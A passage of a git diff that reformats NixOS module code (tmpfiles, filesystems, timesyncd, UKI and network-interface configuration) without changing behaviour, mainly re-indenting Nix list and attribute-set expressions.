+        ln -s "${systemd}/example/tmpfiles.d/static-nodes-permissions.conf"
+        ln -s "${systemd}/example/tmpfiles.d/systemd.conf"
+        ln -s "${systemd}/example/tmpfiles.d/systemd-nologin.conf"
+        ln -s "${systemd}/example/tmpfiles.d/systemd-nspawn.conf"
+        ln -s "${systemd}/example/tmpfiles.d/systemd-tmp.conf"
+        ln -s "${systemd}/example/tmpfiles.d/tmp.conf"
+        ln -s "${systemd}/example/tmpfiles.d/var.conf"
+        ln -s "${systemd}/example/tmpfiles.d/x11.conf"
+      '')
+      # User-specified tmpfiles rules
+      (pkgs.writeTextFile {
+        name = "nixos-tmpfiles.d";
+        destination = "/lib/tmpfiles.d/00-nixos.conf";
+        text = ''
+          # This file is created automatically and should not be modified.
+          # Please change the option ‘systemd.tmpfiles.rules’ instead.
 
-            ${concatStringsSep "\n" cfg.rules}
-          '';
-        })
-      ]
-      ++ (mapAttrsToList (
-        name: paths: pkgs.writeTextDir "lib/tmpfiles.d/${name}.conf" (mkRuleFileContent paths)
-      ) cfg.settings);
+          ${concatStringsSep "\n" cfg.rules}
+        '';
+      })
+    ]
+    ++ (mapAttrsToList (
+      name: paths: pkgs.writeTextDir "lib/tmpfiles.d/${name}.conf" (mkRuleFileContent paths)
+    ) cfg.settings);
 
-    systemd.tmpfiles.rules =
-      [
-        "d  /run/lock                          0755 root root - -"
-        "d  /var/db                            0755 root root - -"
-        "L  /var/lock                          -    -    -    - ../run/lock"
-      ]
-      ++ lib.optionals config.nix.enable [
-        "d  /nix/var                           0755 root root - -"
-        "L+ /nix/var/nix/gcroots/booted-system 0755 root root - /run/booted-system"
-      ]
-      # Boot-time cleanup
-      ++ [
-        "R! /etc/group.lock                    -    -    -    - -"
-        "R! /etc/passwd.lock                   -    -    -    - -"
-        "R! /etc/shadow.lock                   -    -    -    - -"
-      ]
-      ++ lib.optionals config.nix.enable [
-        "R! /nix/var/nix/gcroots/tmp           -    -    -    - -"
-        "R! /nix/var/nix/temproots             -    -    -    - -"
-      ];
+    systemd.tmpfiles.rules = [
+      "d  /run/lock                          0755 root root - -"
+      "d  /var/db                            0755 root root - -"
+      "L  /var/lock                          -    -    -    - ../run/lock"
+    ]
+    ++ lib.optionals config.nix.enable [
+      "d  /nix/var                           0755 root root - -"
+      "L+ /nix/var/nix/gcroots/booted-system 0755 root root - /run/booted-system"
+    ]
+    # Boot-time cleanup
+    ++ [
+      "R! /etc/group.lock                    -    -    -    - -"
+      "R! /etc/passwd.lock                   -    -    -    - -"
+      "R! /etc/shadow.lock                   -    -    -    - -"
+    ]
+    ++ lib.optionals config.nix.enable [
+      "R! /nix/var/nix/gcroots/tmp           -    -    -    - -"
+      "R! /nix/var/nix/temproots             -    -    -    - -"
+    ];
 
     boot.initrd.systemd = {
       additionalUpstreamUnits = [
diff --git a/nixos/modules/system/boot/systemd/tpm2.nix b/nixos/modules/system/boot/systemd/tpm2.nix
index 8bf3b8413574..dcdd08b24783 100644
--- a/nixos/modules/system/boot/systemd/tpm2.nix
+++ b/nixos/modules/system/boot/systemd/tpm2.nix
@@ -64,11 +64,12 @@
           "systemd-tpm2-setup-early.service"
         ];
 
-        boot.initrd.availableKernelModules =
-          [ "tpm-tis" ]
-          ++ lib.optional (
-            !(pkgs.stdenv.hostPlatform.isRiscV64 || pkgs.stdenv.hostPlatform.isArmv7)
-          ) "tpm-crb";
+        boot.initrd.availableKernelModules = [
+          "tpm-tis"
+        ]
+        ++ lib.optional (
+          !(pkgs.stdenv.hostPlatform.isRiscV64 || pkgs.stdenv.hostPlatform.isArmv7)
+        ) "tpm-crb";
         boot.initrd.systemd.storePaths = [
           pkgs.tpm2-tss
           "${cfg.package}/lib/systemd/systemd-tpm2-setup"
diff --git a/nixos/modules/system/boot/systemd/user.nix b/nixos/modules/system/boot/systemd/user.nix
index 8f1d92c409b3..6d60e7c1e7f1 100644
--- a/nixos/modules/system/boot/systemd/user.nix
+++ b/nixos/modules/system/boot/systemd/user.nix
@@ -44,7 +44,8 @@ let
     "systemd-exit.service"
     "timers.target"
     "xdg-desktop-autostart.target"
-  ] ++ config.systemd.additionalUpstreamUserUnits;
+  ]
+  ++ config.systemd.additionalUpstreamUserUnits;
 
   writeTmpfiles =
     {
diff --git a/nixos/modules/system/boot/timesyncd.nix b/nixos/modules/system/boot/timesyncd.nix
index 4a4e39c07e41..eed83af5715f 100644
--- a/nixos/modules/system/boot/timesyncd.nix
+++ b/nixos/modules/system/boot/timesyncd.nix
@@ -99,17 +99,16 @@ in
       );
     };
 
-    environment.etc."systemd/timesyncd.conf".text =
-      ''
-        [Time]
-      ''
-      + optionalString (cfg.servers != null) ''
-        NTP=${concatStringsSep " " cfg.servers}
-      ''
-      + optionalString (cfg.fallbackServers != null) ''
-        FallbackNTP=${concatStringsSep " " cfg.fallbackServers}
-      ''
-      + cfg.extraConfig;
+    environment.etc."systemd/timesyncd.conf".text = ''
+      [Time]
+    ''
+    + optionalString (cfg.servers != null) ''
+      NTP=${concatStringsSep " " cfg.servers}
+    ''
+    + optionalString (cfg.fallbackServers != null) ''
+      FallbackNTP=${concatStringsSep " " cfg.fallbackServers}
+    ''
+    + cfg.extraConfig;
 
     users.users.systemd-timesync = {
       uid = config.ids.uids.systemd-timesync;
diff --git a/nixos/modules/system/boot/uki.nix b/nixos/modules/system/boot/uki.nix
index d9f4713b307c..692261d512dd 100644
--- a/nixos/modules/system/boot/uki.nix
+++ b/nixos/modules/system/boot/uki.nix
@@ -77,18 +77,18 @@ in
     );
 
     boot.uki.settings = {
-      UKI =
-        {
-          Linux = lib.mkOptionDefault "${config.boot.kernelPackages.kernel}/${config.system.boot.loader.kernelFile}";
-          Initrd = lib.mkOptionDefault "${config.system.build.initialRamdisk}/${config.system.boot.loader.initrdFile}";
-          Cmdline = lib.mkOptionDefault "init=${config.system.build.toplevel}/init ${toString config.boot.kernelParams}";
-          Stub = lib.mkOptionDefault "${pkgs.systemd}/lib/systemd/boot/efi/linux${efiArch}.efi.stub";
-          Uname = lib.mkOptionDefault "${config.boot.kernelPackages.kernel.modDirVersion}";
-          OSRelease = lib.mkOptionDefault "@${config.system.build.etc}/etc/os-release";
-          # This is needed for cross compiling.
-          EFIArch = lib.mkOptionDefault efiArch;
-        }
-        // lib.optionalAttrs (config.hardware.deviceTree.enable && config.hardware.deviceTree.name != null)
+      UKI = {
+        Linux = lib.mkOptionDefault "${config.boot.kernelPackages.kernel}/${config.system.boot.loader.kernelFile}";
+        Initrd = lib.mkOptionDefault "${config.system.build.initialRamdisk}/${config.system.boot.loader.initrdFile}";
+        Cmdline = lib.mkOptionDefault "init=${config.system.build.toplevel}/init ${toString config.boot.kernelParams}";
+        Stub = lib.mkOptionDefault "${pkgs.systemd}/lib/systemd/boot/efi/linux${efiArch}.efi.stub";
+        Uname = lib.mkOptionDefault "${config.boot.kernelPackages.kernel.modDirVersion}";
+        OSRelease = lib.mkOptionDefault "@${config.system.build.etc}/etc/os-release";
+        # This is needed for cross compiling.
+        EFIArch = lib.mkOptionDefault efiArch;
+      }
+      //
+        lib.optionalAttrs (config.hardware.deviceTree.enable && config.hardware.deviceTree.name != null)
           {
             DeviceTree = lib.mkOptionDefault "${config.hardware.deviceTree.package}/${config.hardware.deviceTree.name}";
           };
diff --git a/nixos/modules/system/etc/etc-activation.nix b/nixos/modules/system/etc/etc-activation.nix
index ed08ba928785..77c9f74a1f8b 100644
--- a/nixos/modules/system/etc/etc-activation.nix
+++ b/nixos/modules/system/etc/etc-activation.nix
@@ -97,20 +97,18 @@
             );
             requiredBy = [ "initrd-fs.target" ];
             before = [ "initrd-fs.target" ];
-            requires =
-              [
-                config.boot.initrd.systemd.services.initrd-find-etc.name
-              ]
-              ++ lib.optionals config.system.etc.overlay.mutable [
-                config.boot.initrd.systemd.services."rw-etc".name
-              ];
-            after =
-              [
-                config.boot.initrd.systemd.services.initrd-find-etc.name
-              ]
-              ++ lib.optionals config.system.etc.overlay.mutable [
-                config.boot.initrd.systemd.services."rw-etc".name
-              ];
+            requires = [
+              config.boot.initrd.systemd.services.initrd-find-etc.name
+            ]
+            ++ lib.optionals config.system.etc.overlay.mutable [
+              config.boot.initrd.systemd.services."rw-etc".name
+            ];
+            after = [
+              config.boot.initrd.systemd.services.initrd-find-etc.name
+            ]
+            ++ lib.optionals config.system.etc.overlay.mutable [
+              config.boot.initrd.systemd.services."rw-etc".name
+            ];
             unitConfig = {
               RequiresMountsFor = [
                 "/sysroot/nix/store"
diff --git a/nixos/modules/tasks/filesystems.nix b/nixos/modules/tasks/filesystems.nix
index ef2a5a685003..296d2cdf8754 100644
--- a/nixos/modules/tasks/filesystems.nix
+++ b/nixos/modules/tasks/filesystems.nix
@@ -199,38 +199,37 @@ let
 
   makeFstabEntries =
     let
-      fsToSkipCheck =
-        [
-          "none"
-          "auto"
-          "overlay"
-          "iso9660"
-          "bindfs"
-          "udf"
-          "btrfs"
-          "zfs"
-          "tmpfs"
-          "bcachefs"
-          "nfs"
-          "nfs4"
-          "nilfs2"
-          "vboxsf"
-          "squashfs"
-          "glusterfs"
-          "apfs"
-          "9p"
-          "cifs"
-          "prl_fs"
-          "vmhgfs"
-        ]
-        ++ lib.optionals (!config.boot.initrd.checkJournalingFS) [
-          "ext3"
-          "ext4"
-          "reiserfs"
-          "xfs"
-          "jfs"
-          "f2fs"
-        ];
+      fsToSkipCheck = [
+        "none"
+        "auto"
+        "overlay"
+        "iso9660"
+        "bindfs"
+        "udf"
+        "btrfs"
+        "zfs"
+        "tmpfs"
+        "bcachefs"
+        "nfs"
+        "nfs4"
+        "nilfs2"
+        "vboxsf"
+        "squashfs"
+        "glusterfs"
+        "apfs"
+        "9p"
+        "cifs"
+        "prl_fs"
+        "vmhgfs"
+      ]
+      ++ lib.optionals (!config.boot.initrd.checkJournalingFS) [
+        "ext3"
+        "ext4"
+        "reiserfs"
+        "xfs"
+        "jfs"
+        "f2fs"
+      ];
       isBindMount = fs: builtins.elem "bind" fs.options;
       skipCheck =
         fs: fs.noCheck || fs.device == "none" || builtins.elem fs.fsType fsToSkipCheck || isBindMount fs;
@@ -533,79 +532,78 @@ in
     ];
 
     # Sync mount options with systemd's src/core/mount-setup.c: mount_table.
-    boot.specialFileSystems =
-      {
-        "/proc" = {
-          fsType = "proc";
-          options = [
-            "nosuid"
-            "noexec"
-            "nodev"
-          ];
-        };
-        "/run" = {
-          fsType = "tmpfs";
-          options = [
-            "nosuid"
-            "nodev"
-            "strictatime"
-            "mode=755"
-            "size=${config.boot.runSize}"
-          ];
-        };
-        "/dev" = {
-          fsType = "devtmpfs";
-          options = [
-            "nosuid"
-            "strictatime"
-            "mode=755"
-            "size=${config.boot.devSize}"
-          ];
-        };
-        "/dev/shm" = {
-          fsType = "tmpfs";
-          options = [
-            "nosuid"
-            "nodev"
-            "strictatime"
-            "mode=1777"
-            "size=${config.boot.devShmSize}"
-          ];
-        };
-        "/dev/pts" = {
-          fsType = "devpts";
-          options = [
-            "nosuid"
-            "noexec"
-            "mode=620"
-            "ptmxmode=0666"
-            "gid=${toString config.ids.gids.tty}"
-          ];
-        };
-
-        # To hold secrets that shouldn't be written to disk
-        "/run/keys" = {
-          fsType = "ramfs";
-          options = [
-            "nosuid"
-            "nodev"
-            "mode=750"
-          ];
-        };
-      }
-      // optionalAttrs (!config.boot.isContainer) {
-        # systemd-nspawn populates /sys by itself, and remounting it causes all
-        # kinds of weird issues (most noticeably, waiting for host disk device
-        # nodes).
-        "/sys" = {
-          fsType = "sysfs";
-          options = [
-            "nosuid"
-            "noexec"
-            "nodev"
-          ];
-        };
+    boot.specialFileSystems = {
+      "/proc" = {
+        fsType = "proc";
+        options = [
+          "nosuid"
+          "noexec"
+          "nodev"
+        ];
       };
+      "/run" = {
+        fsType = "tmpfs";
+        options = [
+          "nosuid"
+          "nodev"
+          "strictatime"
+          "mode=755"
+          "size=${config.boot.runSize}"
+        ];
+      };
+      "/dev" = {
+        fsType = "devtmpfs";
+        options = [
+          "nosuid"
+          "strictatime"
+          "mode=755"
+          "size=${config.boot.devSize}"
+        ];
+      };
+      "/dev/shm" = {
+        fsType = "tmpfs";
+        options = [
+          "nosuid"
+          "nodev"
+          "strictatime"
+          "mode=1777"
+          "size=${config.boot.devShmSize}"
+        ];
+      };
+      "/dev/pts" = {
+        fsType = "devpts";
+        options = [
+          "nosuid"
+          "noexec"
+          "mode=620"
+          "ptmxmode=0666"
+          "gid=${toString config.ids.gids.tty}"
+        ];
+      };
+
+      # To hold secrets that shouldn't be written to disk
+      "/run/keys" = {
+        fsType = "ramfs";
+        options = [
+          "nosuid"
+          "nodev"
+          "mode=750"
+        ];
+      };
+    }
+    // optionalAttrs (!config.boot.isContainer) {
+      # systemd-nspawn populates /sys by itself, and remounting it causes all
+      # kinds of weird issues (most noticeably, waiting for host disk device
+      # nodes).
+      "/sys" = {
+        fsType = "sysfs";
+        options = [
+          "nosuid"
+          "noexec"
+          "nodev"
+        ];
+      };
+    };
 
   };
 
diff --git a/nixos/modules/tasks/filesystems/bcachefs.nix b/nixos/modules/tasks/filesystems/bcachefs.nix
index 1570cf1a6860..6a77f835e97a 100644
--- a/nixos/modules/tasks/filesystems/bcachefs.nix
+++ b/nixos/modules/tasks/filesystems/bcachefs.nix
@@ -179,18 +179,17 @@ in
 
       (lib.mkIf ((config.boot.initrd.supportedFilesystems.bcachefs or false) || (bootFs != { })) {
         inherit assertions;
-        boot.initrd.availableKernelModules =
-          [
-            "bcachefs"
-            "sha256"
-          ]
-          ++ lib.optionals (config.boot.kernelPackages.kernel.kernelOlder "6.15") [
-            # chacha20 and poly1305 are required only for decryption attempts
-            # kernel 6.15 uses kernel api libraries for poly1305/chacha20: 4bf4b5046de0ef7f9dc50f3a9ef8a6dcda178a6d
-            # kernel 6.16 removes poly1305: ceef731b0e22df80a13d67773ae9afd55a971f9e
-            "poly1305"
-            "chacha20"
-          ];
+        boot.initrd.availableKernelModules = [
+          "bcachefs"
+          "sha256"
+        ]
+        ++ lib.optionals (config.boot.kernelPackages.kernel.kernelOlder "6.15") [
+          # chacha20 and poly1305 are required only for decryption attempts
+          # kernel 6.15 uses kernel api libraries for poly1305/chacha20: 4bf4b5046de0ef7f9dc50f3a9ef8a6dcda178a6d
+          # kernel 6.16 removes poly1305: ceef731b0e22df80a13d67773ae9afd55a971f9e
+          "poly1305"
+          "chacha20"
+        ];
         boot.initrd.systemd.extraBin = {
           # do we need this? boot/systemd.nix:566 & boot/systemd/initrd.nix:357
           "bcachefs" = "${pkgs.bcachefs-tools}/bin/bcachefs";
diff --git a/nixos/modules/tasks/filesystems/btrfs.nix b/nixos/modules/tasks/filesystems/btrfs.nix
index 738fa0851006..1c14b03a0a30 100644
--- a/nixos/modules/tasks/filesystems/btrfs.nix
+++ b/nixos/modules/tasks/filesystems/btrfs.nix
@@ -75,14 +75,15 @@ in
 
     (mkIf inInitrd {
       boot.initrd.kernelModules = [ "btrfs" ];
-      boot.initrd.availableKernelModules =
-        [ "crc32c" ]
-        ++ optionals (config.boot.kernelPackages.kernel.kernelAtLeast "5.5") [
-          # Needed for mounting filesystems with new checksums
-          "xxhash_generic"
-          "blake2b_generic"
-          "sha256_generic" # Should be baked into our kernel, just to be sure
-        ];
+      boot.initrd.availableKernelModules = [
+        "crc32c"
+      ]
+      ++ optionals (config.boot.kernelPackages.kernel.kernelAtLeast "5.5") [
+        # Needed for mounting filesystems with new checksums
+        "xxhash_generic"
+        "blake2b_generic"
+        "sha256_generic" # Should be baked into our kernel, just to be sure
+      ];
 
       boot.initrd.extraUtilsCommands = mkIf (!config.boot.initrd.systemd.enable) ''
         copy_bin_and_libs ${pkgs.btrfs-progs}/bin/btrfs
diff --git a/nixos/modules/tasks/filesystems/nfs.nix b/nixos/modules/tasks/filesystems/nfs.nix
index 2c65ebcea1b0..3630b20f9ff3 100644
--- a/nixos/modules/tasks/filesystems/nfs.nix
+++ b/nixos/modules/tasks/filesystems/nfs.nix
@@ -35,26 +35,24 @@ let
       lockd.udp-port = cfg.server.lockdPort;
     };
 
-  nfsConfDeprecated =
-    cfg.extraConfig
-    + ''
-      [nfsd]
-      threads=${toString cfg.server.nproc}
-      ${lib.optionalString (cfg.server.hostName != null) "host=${cfg.server.hostName}"}
-      ${cfg.server.extraNfsdConfig}
+  nfsConfDeprecated = cfg.extraConfig + ''
+    [nfsd]
+    threads=${toString cfg.server.nproc}
+    ${lib.optionalString (cfg.server.hostName != null) "host=${cfg.server.hostName}"}
+    ${cfg.server.extraNfsdConfig}
 
-      [mountd]
-      ${lib.optionalString (cfg.server.mountdPort != null) "port=${toString cfg.server.mountdPort}"}
+    [mountd]
+    ${lib.optionalString (cfg.server.mountdPort != null) "port=${toString cfg.server.mountdPort}"}
 
-      [statd]
-      ${lib.optionalString (cfg.server.statdPort != null) "port=${toString cfg.server.statdPort}"}
+    [statd]
+    ${lib.optionalString (cfg.server.statdPort != null) "port=${toString cfg.server.statdPort}"}
 
-      [lockd]
-      ${lib.optionalString (cfg.server.lockdPort != null) ''
-        port=${toString cfg.server.lockdPort}
-        udp-port=${toString cfg.server.lockdPort}
-      ''}
-    '';
+    [lockd]
+    ${lib.optionalString (cfg.server.lockdPort != null) ''
+      port=${toString cfg.server.lockdPort}
+      udp-port=${toString cfg.server.lockdPort}
+    ''}
+  '';
 
   nfsConfFile =
     if cfg.settings != { } then
diff --git a/nixos/modules/tasks/filesystems/zfs.nix b/nixos/modules/tasks/filesystems/zfs.nix
index f8e36eb1646c..9bb216d11385 100644
--- a/nixos/modules/tasks/filesystems/zfs.nix
+++ b/nixos/modules/tasks/filesystems/zfs.nix
@@ -167,12 +167,14 @@ let
       # https://github.com/zfsonlinux/zfs/pull/4943
       wants = [
         "systemd-udev-settle.service"
-      ] ++ lib.optional (config.boot.initrd.clevis.useTang) "network-online.target";
+      ]
+      ++ lib.optional (config.boot.initrd.clevis.useTang) "network-online.target";
       after = [
         "systemd-udev-settle.service"
         "systemd-modules-load.service"
         "systemd-ask-password-console.service"
-      ] ++ lib.optional (config.boot.initrd.clevis.useTang) "network-online.target";
+      ]
+      ++ lib.optional (config.boot.initrd.clevis.useTang) "network-online.target";
       requiredBy =
         let
           poolFilesystems = getPoolFilesystems pool;
diff --git a/nixos/modules/tasks/network-interfaces-scripted.nix b/nixos/modules/tasks/network-interfaces-scripted.nix
index 7bc059d61ea6..05dcc16e241a 100644
--- a/nixos/modules/tasks/network-interfaces-scripted.nix
+++ b/nixos/modules/tasks/network-interfaces-scripted.nix
@@ -331,11 +331,12 @@ let
               ];
               bindsTo = deps ++ optional v.rstp "mstpd.service";
               partOf = [ "network-setup.service" ] ++ optional v.rstp "mstpd.service";
-              after =
-                [ "network-pre.target" ]
-                ++ deps
-                ++ optional v.rstp "mstpd.service"
-                ++ map (i: "network-addresses-${i}.service") v.interfaces;
+              after = [
+                "network-pre.target"
+              ]
+              ++ deps
+              ++ optional v.rstp "mstpd.service"
+              ++ map (i: "network-addresses-${i}.service") v.interfaces;
               before = [ "network-setup.service" ];
               serviceConfig.Type = "oneshot";
               serviceConfig.RemainAfterExit = true;
@@ -431,7 +432,8 @@ let
               wantedBy = [
                 "network-setup.service"
                 (subsystemDevice n)
-              ] ++ internalConfigs;
+              ]
+              ++ internalConfigs;
               # before = [ "network-setup.service" ];
               # should work without internalConfigs dependencies because address/link configuration depends
               # on the device, which is created by ovs-vswitchd with type=internal, but it does not...
@@ -441,7 +443,8 @@ let
               after = [
                 "network-pre.target"
                 "ovs-vswitchd.service"
-              ] ++ deps; # start switch after physical interfaces and vswitch daemon
+              ]
+              ++ deps; # start switch after physical interfaces and vswitch daemon
               wants = deps; # if one or more interface fails, the switch should continue to run
               serviceConfig.Type = "oneshot";
               serviceConfig.RemainAfterExit = true;
diff --git a/nixos/modules/tasks/network-interfaces-systemd.nix b/nixos/modules/tasks/network-interfaces-systemd.nix
index ed903bf9994a..8e9e0e9e3b2f 100644
--- a/nixos/modules/tasks/network-interfaces-systemd.nix
+++ b/nixos/modules/tasks/network-interfaces-systemd.nix
@@ -224,43 +224,41 @@ in
         vlanNetworks
       ];
       boot.initrd.availableKernelModules =
-        optional (cfg.bridges != { }) "bridge"
-        ++ optional (cfg.vlans != { }) "8021q";
+        optional (cfg.bridges != { }) "bridge" ++ optional (cfg.vlans != { }) "8021q";
     })
 
     (mkIf cfg.useNetworkd {
 
-      assertions =
-        [
-          {
-            assertion = cfg.defaultGatewayWindowSize == null;
-            message = "networking.defaultGatewayWindowSize is not supported by networkd.";
-          }
-          {
-            assertion = cfg.defaultGateway != null -> cfg.defaultGateway.interface != null;
-            message = "networking.defaultGateway.interface is not optional when using networkd.";
-          }
-          {
-            assertion = cfg.defaultGateway6 != null -> cfg.defaultGateway6.interface != null;
-            message = "networking.defaultGateway6.interface is not optional when using networkd.";
-          }
-        ]
-        ++ flip mapAttrsToList cfg.bridges (
-          n:
-          { rstp, ... }:
-          {
-            assertion = !rstp;
-            message = "networking.bridges.${n}.rstp is not supported by networkd.";
-          }
-        )
-        ++ flip mapAttrsToList cfg.fooOverUDP (
-          n:
-          { local, ... }:
-          {
-            assertion = local == null;
-            message = "networking.fooOverUDP.${n}.local is not supported by networkd.";
-          }
-        );
+      assertions = [
+        {
+          assertion = cfg.defaultGatewayWindowSize == null;
+          message = "networking.defaultGatewayWindowSize is not supported by networkd.";
+        }
+        {
+          assertion = cfg.defaultGateway != null -> cfg.defaultGateway.interface != null;
+          message = "networking.defaultGateway.interface is not optional when using networkd.";
+        }
+        {
+          assertion = cfg.defaultGateway6 != null -> cfg.defaultGateway6.interface != null;
+          message = "networking.defaultGateway6.interface is not optional when using networkd.";
+        }
+      ]
+      ++ flip mapAttrsToList cfg.bridges (
+        n:
+        { rstp, ... }:
+        {
+          assertion = !rstp;
+          message = "networking.bridges.${n}.rstp is not supported by networkd.";
+        }
+      )
+      ++ flip mapAttrsToList cfg.fooOverUDP (
+        n:
+        { local, ... }:
+        {
+          assertion = local == null;
+          message = "networking.fooOverUDP.${n}.local is not supported by networkd.";
+        }
+      );
 
       networking.dhcpcd.enable = mkDefault false;
 
@@ -396,14 +394,13 @@ in
                 # unfortunately networkd cannot encode dependencies of netdevs on addresses/routes,
                 # so we cannot specify Local=, Peer=, PeerPort=. this looks like a missing feature
                 # in networkd.
-                fooOverUDPConfig =
-                  {
-                    Port = fou.port;
-                    Encapsulation = if fou.protocol != null then "FooOverUDP" else "GenericUDPEncapsulation";
-                  }
-                  // (optionalAttrs (fou.protocol != null) {
-                    Protocol = fou.protocol;
-                  });
+                fooOverUDPConfig = {
+                  Port = fou.port;
+                  Encapsulation = if fou.protocol != null then "FooOverUDP" else "GenericUDPEncapsulation";
+                }
+                // (optionalAttrs (fou.protocol != null) {
+                  Protocol = fou.protocol;
+                });
               };
             }
           )
@@ -509,7 +506,8 @@ in
                 after = [
                   "network-pre.target"
                   "ovs-vswitchd.service"
-                ] ++ deps;
+                ]
+                ++ deps;
                 wants = deps; # if one or more interface fails, the switch should continue to run
                 serviceConfig.Type = "oneshot";
                 serviceConfig.RemainAfterExit = true;
diff --git a/nixos/modules/tasks/network-interfaces.nix b/nixos/modules/tasks/network-interfaces.nix
index fb8dab1c33ff..b3c0372d4e12 100644
--- a/nixos/modules/tasks/network-interfaces.nix
+++ b/nixos/modules/tasks/network-interfaces.nix
@@ -1591,31 +1591,30 @@ in
       # from being created.
       optionalString hasBonds "options bonding max_bonds=0";
 
-    boot.kernel.sysctl =
-      {
-        "net.ipv4.conf.all.forwarding" = mkDefault (any (i: i.proxyARP) interfaces);
-        "net.ipv6.conf.all.disable_ipv6" = mkDefault (!cfg.enableIPv6);
-        "net.ipv6.conf.default.disable_ipv6" = mkDefault (!cfg.enableIPv6);
-        # allow all users to do ICMP echo requests (ping)
-        "net.ipv4.ping_group_range" = mkDefault "0 2147483647";
-        # networkmanager falls back to "/proc/sys/net/ipv6/conf/default/use_tempaddr"
-        "net.ipv6.conf.default.use_tempaddr" = tempaddrValues.${cfg.tempAddresses}.sysctl;
-      }
-      // listToAttrs (
-        forEach interfaces (
-          i: nameValuePair "net.ipv4.conf.${replaceStrings [ "." ] [ "/" ] i.name}.proxy_arp" i.proxyARP
-        )
+    boot.kernel.sysctl = {
+      "net.ipv4.conf.all.forwarding" = mkDefault (any (i: i.proxyARP) interfaces);
+      "net.ipv6.conf.all.disable_ipv6" = mkDefault (!cfg.enableIPv6);
+      "net.ipv6.conf.default.disable_ipv6" = mkDefault (!cfg.enableIPv6);
+      # allow all users to do ICMP echo requests (ping)
+      "net.ipv4.ping_group_range" = mkDefault "0 2147483647";
+      # networkmanager falls back to "/proc/sys/net/ipv6/conf/default/use_tempaddr"
+      "net.ipv6.conf.default.use_tempaddr" = tempaddrValues.${cfg.tempAddresses}.sysctl;
+    }
+    // listToAttrs (
+      forEach interfaces (
+        i: nameValuePair "net.ipv4.conf.${replaceStrings [ "." ] [ "/" ] i.name}.proxy_arp" i.proxyARP
       )
-      // listToAttrs (
-        forEach interfaces (
-          i:
-          let
-            opt = i.tempAddress;
-            val = tempaddrValues.${opt}.sysctl;
-          in
-          nameValuePair "net.ipv6.conf.${replaceStrings [ "." ] [ "/" ] i.name}.use_tempaddr" val
-        )
-      );
+    )
+    // listToAttrs (
+      forEach interfaces (
+        i:
+        let
+          opt = i.tempAddress;
+          val = tempaddrValues.${opt}.sysctl;
+        in
+        nameValuePair "net.ipv6.conf.${replaceStrings [ "." ] [ "/" ] i.name}.use_tempaddr" val
+      )
+    );
 
     systemd.services.domainname = lib.mkIf (cfg.domain != null) {
       wantedBy = [ "sysinit.target" ];
@@ -1638,18 +1637,17 @@ in
       text = cfg.hostName + "\n";
     };
 
-    environment.systemPackages =
-      [
-        pkgs.host
-        pkgs.iproute2
-        pkgs.iputils
-        pkgs.nettools
-      ]
-      ++ optionals config.networking.wireless.enable [
-        pkgs.wirelesstools # FIXME: obsolete?
-        pkgs.iw
-      ]
-      ++ bridgeStp;
+    environment.systemPackages = [
+      pkgs.host
+      pkgs.iproute2
+      pkgs.iputils
+      pkgs.nettools
+    ]
+    ++ optionals config.networking.wireless.enable [
+      pkgs.wirelesstools # FIXME: obsolete?
+      pkgs.iw
+    ]
+    ++ bridgeStp;
 
     # Wake-on-LAN configuration is shared by the scripted and networkd backends.
     systemd.network.links = pipe interfaces [
@@ -1685,147 +1683,146 @@ in
 
     virtualisation.vswitch = mkIf (cfg.vswitches != { }) { enable = true; };
 
-    services.udev.packages =
-      [
-        (pkgs.writeTextFile rec {
-          name = "ipv6-privacy-extensions.rules";
-          destination = "/etc/udev/rules.d/98-${name}";
-          text =
-            let
-              sysctl-value = tempaddrValues.${cfg.tempAddresses}.sysctl;
-            in
-            ''
-              # enable and prefer IPv6 privacy addresses by default
-              ACTION=="add", SUBSYSTEM=="net", RUN+="${pkgs.bash}/bin/sh -c 'echo ${sysctl-value} > /proc/sys/net/ipv6/conf/$name/use_tempaddr'"
-            '';
-        })
-        (pkgs.writeTextFile rec {
-          name = "ipv6-privacy-extensions.rules";
-          destination = "/etc/udev/rules.d/99-${name}";
-          text = concatMapStrings (
-            i:
-            let
-              opt = i.tempAddress;
-              val = tempaddrValues.${opt}.sysctl;
-              msg = tempaddrValues.${opt}.description;
-            in
-            ''
-              # override to ${msg} for ${i.name}
-              ACTION=="add", SUBSYSTEM=="net", NAME=="${i.name}", RUN+="${pkgs.procps}/bin/sysctl net.ipv6.conf.${
-                replaceStrings [ "." ] [ "/" ] i.name
-              }.use_tempaddr=${val}"
-            ''
-          ) (filter (i: i.tempAddress != cfg.tempAddresses) interfaces);
-        })
-      ]
-      ++ lib.optional (cfg.wlanInterfaces != { }) (
-        pkgs.writeTextFile {
-          name = "99-zzz-40-wlanInterfaces.rules";
-          destination = "/etc/udev/rules.d/99-zzz-40-wlanInterfaces.rules";
-          text =
-            let
-              # Collect all interfaces that are defined for a device
-              # as device:interface key:value pairs.
-              wlanDeviceInterfaces =
-                let
-                  allDevices = unique (mapAttrsToList (_: v: v.device) cfg.wlanInterfaces);
-                  interfacesOfDevice = d: filterAttrs (_: v: v.device == d) cfg.wlanInterfaces;
-                in
-                genAttrs allDevices (d: interfacesOfDevice d);
-
-              # Convert device:interface key:value pairs into a list, and if it exists,
-              # place the interface which is named after the device at the beginning.
-              wlanListDeviceFirst =
-                device: interfaces:
-                if hasAttr device interfaces then
-                  mapAttrsToList (n: v: v // { _iName = n; }) (filterAttrs (n: _: n == device) interfaces)
-                  ++ mapAttrsToList (n: v: v // { _iName = n; }) (filterAttrs (n: _: n != device) interfaces)
-                else
-                  mapAttrsToList (n: v: v // { _iName = n; }) interfaces;
-
-              # Udev script to execute for the default WLAN interface with the persistend udev name.
-              # The script creates the required, new WLAN interfaces interfaces and configures the
-              # existing, default interface.
-              curInterfaceScript =
-                device: current: new:
-                pkgs.writeScript "udev-run-script-wlan-interfaces-${device}.sh" ''
-                  #!${pkgs.runtimeShell}
-                  # Change the wireless phy device to a predictable name.
-                  ${pkgs.iw}/bin/iw phy `${pkgs.coreutils}/bin/cat /sys/class/net/$INTERFACE/phy80211/name` set name ${device}
-
-                  # Add new WLAN interfaces
-                  ${flip concatMapStrings new (i: ''
-                    ${pkgs.iw}/bin/iw phy ${device} interface add ${i._iName} type managed
-                  '')}
-
-                  # Configure the current interface
-                  ${pkgs.iw}/bin/iw dev ${device} set type ${current.type}
-                  ${optionalString (
-                    current.type == "mesh" && current.meshID != null
-                  ) "${pkgs.iw}/bin/iw dev ${device} set meshid ${current.meshID}"}
-                  ${optionalString (
-                    current.type == "monitor" && current.flags != null
-                  ) "${pkgs.iw}/bin/iw dev ${device} set monitor ${current.flags}"}
-                  ${optionalString (
-                    current.type == "managed" && current.fourAddr != null
